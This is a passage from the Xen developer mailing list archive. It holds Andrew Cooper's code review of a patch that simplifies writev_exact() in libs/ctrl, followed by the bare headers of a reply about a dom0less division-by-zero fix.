IGVuZDoNCg0KICAgICBwcmludGsoIkRldmljZSB0cmVlIGdlbmVyYXRpb24gZmFpbGVkICglZCku
XG4iLCByZXQpOw0KDQpNYXliZSBqdXN0IGRyb3AgdGhhdCBtZXNzYWdlPw==


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:16:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:16:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357886.1612210 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whloK-0007Jp-2g; Thu, 09 Jul 2026 10:16:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357886.1612210; Thu, 09 Jul 2026 10:16:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whloJ-0007Ji-W4; Thu, 09 Jul 2026 10:16:51 +0000
Received: by outflank-mailman (input) for mailman id 1357886;
 Thu, 09 Jul 2026 10:16:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1whloI-0007Jb-Or
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:16:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whloI-00BFCL-21
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:16:50 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4f750b-5cb7-0a2a0a5109dd-0a2a450a84e6-18
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:16:49 +0200
Received: from [40.107.208.64]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4f7510-e40e-0a2a450a0019-286bd04061ef-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:16:49 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by CH5PR03MB7983.namprd03.prod.outlook.com (2603:10b6:610:212::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 10:16:46 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Thu, 9 Jul 2026
 10:16:46 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=gEs5Kl4xc3DoaFhSGRO1KBAEZMXNNC/HWU2VDwllGk3gsOqHZws61WwHS3Nc9AskAXJBpkxWNcHwatzD1ybe7b5y2hoWX+ipCd6TAOlwcdUjofLBY/A8+G2DE6xCVAHDY3BYg3Nhcjsfg4HJLqXW+fcq4G/9rXEoTwRF811CICuuOxQ6XYNa7vAWC2aGxuZFhtDsf0kZCD7ISUIRr8pfnT2a0/rOIVeOH/GTy7MRvF8Df1+trq6VG6QN5/K94wJ6Ib7tL6G+uEPsbjbV6pVakTvRi5LrcNPNggEHwweW0ANlLpd706+TGshPW1LYAFD0uMJZjxzfhzcCkn0k3DvXSA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=kEE34EjMBPm1wmWoo8i9gtOyuR9rrhjaEbNr2V1RFjY=;
 b=dVzNKXAFx6913E52ahaLgPZ9FGil1RGcT9q1e3JHYURo1rV5e04g5r+YVQfqsP6HlPHNBczPVS4v1ia5AsnRC8lzxMAXtcWp2G5UlDB+aEJkqPVOU11fTUkdN/iPtXwXnFwBkTmyPWK5aVOWHaUCXheNW3OYgabYh00dQQKbllfocydiErs8JpcAQpK/iH2Yga47hULYMxhAdWqrU0GFy2pNohgutYdMxL7cgEhBUMbQ11A9ET8x1vnRmR/VO6etUP4lkW44O422pQtszo/+qO9wHthryeMHnDOTVXRK8fV+7WgJptzynhCVuv6c++8PtqrBaW6IEg0oEAgtcDKitA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=kEE34EjMBPm1wmWoo8i9gtOyuR9rrhjaEbNr2V1RFjY=;
 b=wRBo/JWwx3DKvtOVQQS971awhuksV6QEw8p8VMFhXzXnIGPw3w8Craa48wbzcKErnH0EjlS5M0pYDuEeOjh8r/pT7qpesOWX6d3Uhq8kOwPgz2j79d4xBipq1Q67gYzkC9yzK9AanFWz/OfMSr1cBxqGaliR1XSpKH41AXhKvE8=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <c7af5609-81b6-451e-b737-0daffe92652a@citrix.com>
Date: Thu, 9 Jul 2026 11:16:42 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich
 <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>, Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v7 2/6] libs/ctrl: Allow writev_exact() to change the iov
 array
To: Frediano Ziglio <freddy77@gmail.com>, xen-devel@lists.xenproject.org
References: <20260709074358.256084-1-frediano.ziglio@citrix.com>
 <20260709074358.256084-3-frediano.ziglio@citrix.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7j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KN99ziC0Wz5kcPyVD1HNf8bgaqGDzrv3TfYjwqayRFcMf7xJaL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20260709074358.256084-3-frediano.ziglio@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO6P265CA0018.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2ff::6) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|CH5PR03MB7983:EE_
X-MS-Office365-Filtering-Correlation-Id: 842764ab-95df-4647-5f9b-08dedda32e41
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|22082099003|18002099003|56012099006|11063799006|4143699003;
X-Microsoft-Antispam-Message-Info:
	u8D/6CPbg/FQdM+FIESWPVqUGCVr3mosW4ZtYhVyJsmJhnUHGvipPBsOhRL7nQSyNIPYte8tTy2Tuw9VpYJun963Vf+6uuI0+l8N9+zww0PkFmbqm/FozTVj0Y+J9fRzAfQYQb7D9HejZbUdv7iXLpVKSzmWYhTw6DFRd5G2vWbiXELZ9dbhVRznLFTOQk1LfuVre+HzfQnVgU0d+mPVCG6PyG1xJ+YhBO1I9VZ0uVb9d+W+E8x74LsKfko4PSokdV3ehP0eagjh2++EZSAO3EI/REXI5Vy1LEqk5ddwD8+o7ss5PPU9yxGeZUnq+PwspULtr92YfZsfC1AgFDCfV5Yz4rn9UIsxNWRXkTA8fTS0Q541dub5STByWtW+/+yXWSTC2AWVfDmlhnkR3o+xaKIyPXPREe6o2ikumLc8RHttGsqAk6hbATkLGYgQFYzcARtAVtWai2iEnT3Ez4MlSx3i8dU0ggbqDEJtKQ7E1zqRpGgB41t+zaYE6AOdLH1EQayfaHBvqzfdbbnWRkH75KD/Ye3tZwsXUMy2pfAn/q/jcTN7y1OmmwhjWioiNgUF6STXjwA0E9F3As6MpDdFE68XcBhjQUYJ7ER5rms9viAyHIRoWHf7ffgM86zStVJhEcf7mxMpu0iUY64az6FFVIUxqTDGvPReYl7Vq9x60c8=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(22082099003)(18002099003)(56012099006)(11063799006)(4143699003);DIR:OUT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Z6?=
 =?utf-8?B?TVg3RjE1VGwwQ01mNFdSMFNDVWl2eTZrZzJWYU4zN2xTOURWY1lGSmsrWDJ6?=
 =?utf-8?B?aUJ0djJJR1NJRVpDNm1vOHp5SmVoMGFXcnM5K1VkcUpPc09kaTd4akYvR2hn?=
 =?utf-8?B?ODhHU2lvdGltYWFEWWlmZWxQSHpwbkVUcUNOREgyWTltVGpMVSthcGJEN1dQ?=
 =?utf-8?B?c2pRY1g0UlgrdXpjQ0VtaVpUbzhvSVFSMlhjL0Jvc0NQSFozZEdOYjJYMjFJ?=
 =?utf-8?B?cmZSa0toZVVYdXFJZmRRNG5Oa2tqcXJ0eE1UVUJoT1Y3K2F4aDRPU3M4eEZz?=
 =?utf-8?B?ZmxKbm5Tb3lyUFZxVk9DeTNDR2w4RWFBbERLNzBLOE5RdmEwNHhKc3M3cFlB?=
 =?utf-8?B?MGwvMmg5MWUrYWN4TGp1MmhaVmdnSGFyeHpZa29ETWtkVUozRVNmMmFZOEgz?=
 =?utf-8?B?VG5LSzlSVnNqdU9SUFJzVGVsMDk1TXNKNEdkSWtuRzh5dXFoQnVDV0xRQ01U?=
 =?utf-8?B?NWtqcStIbERpWWtzWlBMV0dVNUVQOE5KY2NodEh6K1AvQkQ0U0JuNHFrM2hm?=
 =?utf-8?B?K083RW9IRmErTlVsZHd5dW5uSjg3Ymt4akNUWVR3K05sMGNuSENkcWJiVTJ4?=
 =?utf-8?B?M0prcElCTGl2eUtOM1dzcUE1MENqUXFBOHErZEduK1lSbGhQaWN5dz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 842764ab-95df-4647-5f9b-08dedda32e41
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 10:16:45.9977
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: OIM5wcm1JXp0hTCnQr+KAoNNSHNQJ3RhWS9JWBpRMhwzMye3qc3g5PAnBCj7j7Rycij3gGy+x7fyUrofiDAu4WCoB6XBJ9Xwqmgkn1mcl7Q=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH5PR03MB7983
X-purgate-ID: tlsNG-4011c0/1783592209-CF537DDE-625237CC/0/0
X-purgate-type: clean
X-purgate-size: 3044

On 09/07/2026 8:43 am, Frediano Ziglio wrote:
> @@ -649,70 +649,35 @@ int writev_exact(int fd, const struct iovec *iov, int iovcnt)
>      return 0;
>  }
>  #else
> -int writev_exact(int fd, const struct iovec *iov, int iovcnt)
> +int writev_exact(int fd, struct iovec *iov, int iovcnt)
>  {
> -    struct iovec *local_iov = NULL;
> -    int rc = 0, iov_idx = 0, saved_errno = 0;
> -    ssize_t len;
> +    int rc = 0, iov_idx = 0;
> +    ssize_t len = 0;
>  
>      while ( iov_idx < iovcnt )
>      {
> -        /*
> -         * Skip over iov[] entries with 0 length.
> -         *
> -         * This is needed to cover the case where we took a partial write and
> -         * all remaining vectors are of 0 length.  In such a case, the results
> -         * from writev() are indistinguishable from EOF.
> -         */
> -        while ( iov[iov_idx].iov_len == 0 )
> -            if ( ++iov_idx == iovcnt )
> -                goto out;
> +        /* Check iov[] to see whether we had a partial or complete write. */
> +        if ( len >= iov[iov_idx].iov_len )
> +        {
> +            len -= iov[iov_idx++].iov_len;
> +            continue;
> +        }
> +
> +        /* Partial write of iov[iov_idx]. */
> +        iov[iov_idx].iov_base += len;
> +        iov[iov_idx].iov_len  -= len;
>  
>          len = writev(fd, &iov[iov_idx], min(iovcnt - iov_idx, IOV_MAX));
> -        saved_errno = errno;
>  
>          if ( (len == -1) && (errno == EINTR) )
>              continue;
>          if ( len <= 0 )

You can return -1 here, and ...


>          {
>              rc = -1;
> -            goto out;
> -        }
> -
> -        /* Check iov[] to see whether we had a partial or complete write. */
> -        while ( (len > 0) && (iov_idx < iovcnt) )
> -        {
> -            if ( len >= iov[iov_idx].iov_len )
> -                len -= iov[iov_idx++].iov_len;
> -            else
> -            {
> -                /* Partial write of iov[iov_idx]. Copy iov so we can adjust
> -                 * element iov_idx and resubmit the rest. */
> -                if ( !local_iov )
> -                {
> -                    local_iov = malloc(iovcnt * sizeof(*iov));
> -                    if ( !local_iov )
> -                    {
> -                        saved_errno = ENOMEM;
> -                        rc = -1;
> -                        goto out;
> -                    }
> -
> -                    iov = memcpy(local_iov, iov, iovcnt * sizeof(*iov));
> -                }
> -
> -                local_iov[iov_idx].iov_base += len;
> -                local_iov[iov_idx].iov_len  -= len;
> -                break;
> -            }
> +            break;
>          }
>      }
>  
> -    saved_errno = 0;
> -
> - out:
> -    free(local_iov);
> -    errno = saved_errno;
>      return rc;

... return 0 here in order to drop the rc variable.

I can adjust on commit.Â  Reviewed-by: Andrew Cooper
<andrew.cooper3@citrix.com>

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:20:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:20:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357893.1612219 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlrb-0000mc-G5; Thu, 09 Jul 2026 10:20:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357893.1612219; Thu, 09 Jul 2026 10:20:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlrb-0000mV-DX; Thu, 09 Jul 2026 10:20:15 +0000
Received: by outflank-mailman (input) for mailman id 1357893;
 Thu, 09 Jul 2026 10:20:14 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whlra-0000mP-FF
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:20:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlrZ-00EV8p-OP
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:20:13 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4f75c2-e002-0a2a0a5209dd-0a2a4502abd2-42
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:20:13 +0200
Received: from [52.101.46.34]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4f75db-5a27-0a2a45020019-34652e224711-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:20:12 +0200
Received: from BYAPR21CA0009.namprd21.prod.outlook.com (2603:10b6:a03:114::19)
 by MW6PR12MB8706.namprd12.prod.outlook.com (2603:10b6:303:249::5)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 10:20:07 +0000
Received: from SJ1PEPF00001CE4.namprd03.prod.outlook.com
 (2603:10b6:a03:114:cafe::8) by BYAPR21CA0009.outlook.office365.com
 (2603:10b6:a03:114::19) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.3 via Frontend Transport; Thu, 9
 Jul 2026 10:20:07 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 SJ1PEPF00001CE4.mail.protection.outlook.com (10.167.242.20) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Thu, 9 Jul 2026 10:20:07 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 05:20:06 -0500
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 05:20:06 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Thu, 9 Jul 2026 05:20:05 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=JDOBwc9+KsW5ioX4XVL76AS4y7gkfcOVbgeJO510Y0Lh3MDmUhQrPe9whbriZi5ZKaAlEhgZlNQF1KcKUqKtyx48Xijq7klF6Nq9/P808O88kc1uUPzW9+OpInVln8YK1jkkmECUylCjWXcdK2G/41k3ggIyQ8rHcbe6ekviwx/YFkVOi9M/rpF4z7mayTx3n9OLWJ++QhmkKddwDpeeb8jYyvqoUSM8HPRpVoO2yGsiC4BtCv9topIyBE1qHKrJROwlGf3xBHD8P9P2d3ekr/enQVbzhEI/mSEFcFgzqgKVaqHpUmqiwVRepOYRhVpQblC5Tt6bcjnA/byCSHzRsg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=v82VQi2zsWs1smqpm2d1J8tsk+5mCBf0zr/djHvbhGc=;
 b=pZ677d5kDrZB/L7IB/t+LTYWlzAe/j8qSXC/WMQz1W1/I8b2pvkzHSY5WV7XRTfWgnU1YaUClGoLVQDHImi2aebK1AVYioU6lcON8f6y8PHgyxjYAyHMphL3wI/75k1TDP0RzPK8AVtnQ9Jnk7+9oFvWFaLcnSScwFutnYe5rZ4P2sqVU3tI39IqNYDUeCSvp8EUaCdreWidSfWhcRUVq4usBo4dHQ/xKl2k3LCOugCS9PgbxZOmL5OqQ4qBdoP2ncKCOmBi4oVyyD6h5QpPnW2O7bdOeq9nQgcRxpiQkHbYve9bOnPxiXZKuUEipI4qfAr4hj5FhVirU+ln6f8ytw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=suse.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=v82VQi2zsWs1smqpm2d1J8tsk+5mCBf0zr/djHvbhGc=;
 b=tgNoA67povDa7Zxd3Rkp3HT4AVDJ++jViZHfM9ryUZuSYQuQAOzvlyx1L7Gz9xKRue2H4FQmk01WGrTDqQ/k/TSeY3DZJFaPaT3P4WcIhoHj7fLdsWpbjJT2GQa/iv1UaKrDCOflvZfgufx2MbsL+xwemE/zA9d+USVfZQt72Ew=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <be6755d1-8d40-455d-b320-9d26a0443e69@amd.com>
Date: Thu, 9 Jul 2026 12:20:05 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 v3] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Jan Beulich <jbeulich@suse.com>, Dmytro Prokopchuk1
	<dmytro_prokopchuk1@epam.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <500cc80a172570f7fdde3287185398dc49460b2b.1783590032.git.dmytro_prokopchuk1@epam.com>
 <19771234-d108-4ddc-9517-ae420aa70e93@suse.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <19771234-d108-4ddc-9517-ae420aa70e93@suse.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF00001CE4:EE_|MW6PR12MB8706:EE_
X-MS-Office365-Filtering-Correlation-Id: 2432437c-277a-4a72-9678-08dedda3a638
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|36860700016|82310400026|1800799024|56012099006|11063799006|4143699003|3023799007|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	o3gK/9Re9jzghNgIRrcAMXansyOo5IT+kji4MIPvhL46V4dFnwGUom5RJ/DG4adIUBC+1or/mMEMeFJreD1ALiBDy8ulNRE9qBWb/qerxQuhU3Ayg+U7zptRfoXdn1gHwOO7TmjK1XI0u+ZmW9KH2BA1UvP0OsAZCjebUNvFmQic6xmIaZny1We7pOTVm91UWPn1sSzc6no9oFUncOsb2AGJ33zZcocPHguLym1yHXuplYZ1GmTz2vBYKhgB2N4R5X+bBOStjvDus40l7FNN6KgR8vbC+oWBr2NPkK/ozbBIv6z44FAjiv4deUdIFP366JyMrW7dzNBO9Cu8a2aAalpnCk/l6olwzOL8H7T8CZ7HIITJaBd2KAjeYsYGPjbytVimul2yd6arJNopK6KGV0cSr1qwrLXgepajbNnp9HhEhQmzledv2SRt04pxXXLc4tRstlnAWLnalmRCl3PpYrInyCx7KZ5d73wmk4hBjdqgzq+bdByVP1PZJUdom6BFiYBfmujog1+VAgDlmIweQsHrx4asMvLre2pksBcsN6D536aEEO0iTZdO86Ord99HFmp1m2IOE+bbexDGmy0NE4NrxAw24rhmqQRk+QrJgB/F6TC3m2SND49/k/kLPrsGI8K6+PtHBPAHpp7fZDLd12pM0mBCBzeD0s/wKeKgQw7f3VkRF7nWb3ZD5wFtWvQKPAUvC/9Qbom6uNx/xen7hA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(23010399003)(36860700016)(82310400026)(1800799024)(56012099006)(11063799006)(4143699003)(3023799007)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	1JK7FtKjO7l8ToLN3Sqg2PuFRWEaCUT9iWkDvix5zSQyi+80WXMBfB+0GQDA1ITR7Hd1nVyUXuPJf6x30POk21+28qqrDKmPIGILv5PVqC7rLgLrksN98k8RUzoMvPNFvGPum822TrKjtPK9jRnI/dS7yIqVVrw40wvu7hNoabQMIkBvLU6HlxaXUSajmjR8IsHBymsDy14wM8f0BWoTVAohDls4SGHDT5Yj33Y/SBi5CmW6GOFMgeoX0ebDGjsiQy34PnD9rDuiIZkUcvSl5KQQX0vj26Q+zpEa7koGYfES0MBmQMibGeM/AVQfAOMQly+cPo1LSD0jnq/uEJnSDVeOwuiY8dgRh9kvIfPN6k8WiWKCrmAqZ8dKyRsHDvDAXyG2dv/ST8JO9ztIbU43dvDkB9zDj5iw3rFaAk44gfjIVZvNtnk1FxeaEvuujK+v
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 10:20:07.0640
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 2432437c-277a-4a72-9678-08dedda3a638
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF00001CE4.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
